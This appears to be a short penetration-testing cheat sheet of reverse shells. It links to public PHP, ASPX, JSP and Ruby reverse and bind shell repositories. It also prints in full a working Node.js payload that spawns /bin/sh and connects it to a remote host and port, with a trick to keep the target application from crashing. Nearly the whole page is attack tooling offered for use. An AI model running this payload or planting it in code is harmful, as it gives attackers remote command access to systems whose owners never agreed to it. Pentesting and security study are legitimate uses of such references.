Shells

  • revshells.com

PHP Reverse Shell

https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

https://github.com/ivan-sincek/php-reverse-shell

https://github.com/Dhayalanb/windows-php-reverse-shell

ASPX Shell

https://github.com/borjmz/aspx-reverse-shell

JSP Reverse Shell

https://github.com/tennc/webshell/blob/master/jsp/jsp-reverse.jsp

Ruby

  • Reverse

https://github.com/secjohn/ruby-shells/blob/master/revshell.rb

  • Bind

https://github.com/secjohn/ruby-shells/blob/master/shell.rb

JS-encapsulated Payload

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(4242, "10.0.0.1", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // Prevents the Node.js application form crashing
})();

Last updated